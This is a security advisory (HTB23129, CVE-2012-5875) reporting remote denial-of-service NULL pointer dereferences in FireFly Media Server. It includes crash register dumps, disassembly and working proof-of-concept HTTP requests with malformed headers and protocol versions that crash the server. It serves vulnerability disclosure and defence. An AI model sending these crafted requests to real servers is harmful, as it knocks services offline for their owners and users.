The Ethical Hacker Network - HTB23129: FireFly Media Server Multiple Remote DoS Vulnerabilities

Advisory ID: HTB23129
Product: FireFly Media Server
Vendor: FireFly
Vulnerable Versions: 1.0.0.1359 and probably prior
Tested Version: 1.0.0.1359 in Windows 7 SP1
Vendor Notification: November 21, 2012
Public Disclosure: December 19, 2012
Vulnerability Type: NULL Pointer Dereference [CWE-476]
CVE Reference: CVE-2012-5875
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple remote denial of service (DoS) vulnerabilities in FireFly Media Server, which could be exploited by a malicious person to crash a remote server.

1) Multiple NULL pointer dereference vulnerabilities in FireFly Media Server: CVE-2012-5875

1.1 The vulnerability exists due to improper handling of the HTTP CONNECTION header within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port (FireFly's server default port) with improper CONNECTION header value, leading to a NULL pointer dereference that will cause vulnerable server to crash immediately.

Crash Details:
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx_xxxx_ (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> n 0n-us,en;q=0.5U) (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx_xxxx_ (stack)
ESI: 0175eef5 ( 24506101) -> 0n-us,en;q=0.5U) (stack)
EBP: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
ESP: 0175eed0 ( 24506064) -> u0p xxxxxxx_xxxx_n 0n-us,en;q=0.5U) (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vpx@ (stack)
+0c: 00708830 ( 7374896) -> p3xpPppHFF../../../../ (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl

Proof of Concept:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET / HTTP/1.1
Host: vulnhost.local
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: xxxxxxx_xxxx_
Referer: http://www.host.com

1.2 The vulnerability exists due to improper handling of the ACCEPT-LANGUAGE, USER-AGENT and HOST HTTP header parameters within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to port 9999/TCP with a malformed header containing a control character of return carriage ("\r\n") that will cause a NULL pointer dereference and immediate termination of the vulnerable server.

The following examples demonstrate the vulnerabilities:

a) ACCEPT-LANGUAGE

Crash details:
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> nguage /5.0 (Windows; U) (stack)
EDI: 0175eee8 ( 24506088) -> (stack)
ESI: 0175eefa ( 24506106) -> /5.0 (Windows; U) (stack)
EBP: 00708830 ( 7374896) -> p3xxpppHFF (heap)
ESP: 0175eed0 ( 24506064) -> u0pguage /5.0 (Windows; U) (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> uw0</er<uuu\w@wu)|</er<uu|0|Aw<pv@vp x (stack)
+0c: 00708830 ( 7374896) -> p3xxpppHFF (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl

Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET / HTTP/1.1
Host: somehost.com
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us
en;q=0.5
\r\n
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com

b) USER-AGENT

Crash details
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> t t (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx(stack)
ESI: 0175eef5 ( 24506101) -> t (stack)
EBP: 007087d8 ( 7374808) -> p>ppPp<p (heap)
ESP: 0175eed0 ( 24506064) -> upxxxxxxxt t (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 007087d8 ( 7374808) -> p>ppPp<p (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl

Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET / HTTP/1.1
Host: somehost.com
User-Agent:
xxxxxxx
\r\n
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com

c) HOST

Crash Details:
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 0175eeef ( 24506095) -> (stack)
EBP: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!ppp\pHFF"& (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl

Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET / HTTP/1.1
Host: xxxxxxx\r\n
User-Agent: Mozilla/5.0 (Windows; U)
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.host.com

1.3 The vulnerability exists due to improper handling of the HTTP POST and GET methods within the "firefly.exe" binary file. A remote attacker can send a specially crafted packet to 9999/TCP port with an improper HTTP POST or GET request containing an erroneous HTTP protocol version, or one or more control characters of return carriage ("\r\n") leading to a NULL pointer dereference that will cause the vulnerable server to crash immediately.

The following examples demonstrate the vulnerabilities:

a) HTTP POST

Crash details:
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 007087d8 ( 7374808) -> ppPpatp (heap)
ESP: 0175eed0 ( 24506064) -> upxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 007087d8 ( 7374808) -> ppPpatp (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,b

Proof of concept:
The following HTTP request will crash the vulnerable Firefly server remotely:
POST /index.html HTTP/
xxxxxxxx
.1

b) HTTP GET

Crash details:
EIP: 0041e223 cmp byte [ecx],0x20
EAX: 0175eee8 ( 24506088) -> xxxxxxx (stack)
EBX: 00000000 ( 0) -> N/A
ECX: 00000000 ( 0) -> N/A
EDX: 0175eef0 ( 24506096) -> (stack)
EDI: 0175eee8 ( 24506088) -> xxxxxxx (stack)
ESI: 00000001 ( 1) -> N/A
EBP: 00708830 ( 7374896) -> p!pppHFF#) (heap)
ESP: 0175eed0 ( 24506064) -> u0pxxxxxxx (stack)
+00: 00000000 ( 0) -> N/A
+04: 00000001 ( 1) -> N/A
+08: 0175ff80 ( 24510336) -> N/A
+0c: 00708830 ( 7374896) -> p!pppHFF#) (heap)
+10: 00000000 ( 0) -> N/A
+14: 00000007 ( 7) -> N/A

Disasm around:
0x0041e206 jnz 0x41e223
0x0041e208 mov edx,[ebp+0x4]
0x0041e20b push edi
0x0041e20c push edx
0x0041e20d push dword 0x4525e0
0x0041e212 push byte 0x2
0x0041e214 push byte 0x2
0x0041e216 call 0x40ea90
0x0041e21b add esp,0x14
0x0041e21e jmp 0x41e160
0x0041e223 cmp byte [ecx],0x20
0x0041e226 jnz 0x41e232
0x0041e228 inc ecx
0x0041e229 mov [esp+0x10],ecx
0x0041e22d cmp byte [ecx],0x20
0x0041e230 jz 0x41e228
0x0041e232 mov eax,ecx
0x0041e234 lea esi,[eax+0x1]
0x0041e237 mov dl,[eax]
0x0041e239 inc eax
0x0041e23a cmp dl,bl

Proof of concept #1:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET /index.html HTTP/xxxxxxxx.1

Proof of concept #2:
The following HTTP request will crash the vulnerable Firefly server remotely:
GET /index.html HTTP/
xxxxxxxx.1

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

References:
[1] High-Tech Bridge Advisory HTB23129 - https://www.htbridge.com/advisory/HTB23129 - FireFly Media Server Multiple Remote DoS vulnerabilities.
[2] Firefly - fireflymediaserver.org - FireFly Media Server distributes your music, videos and photos easily over your network.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.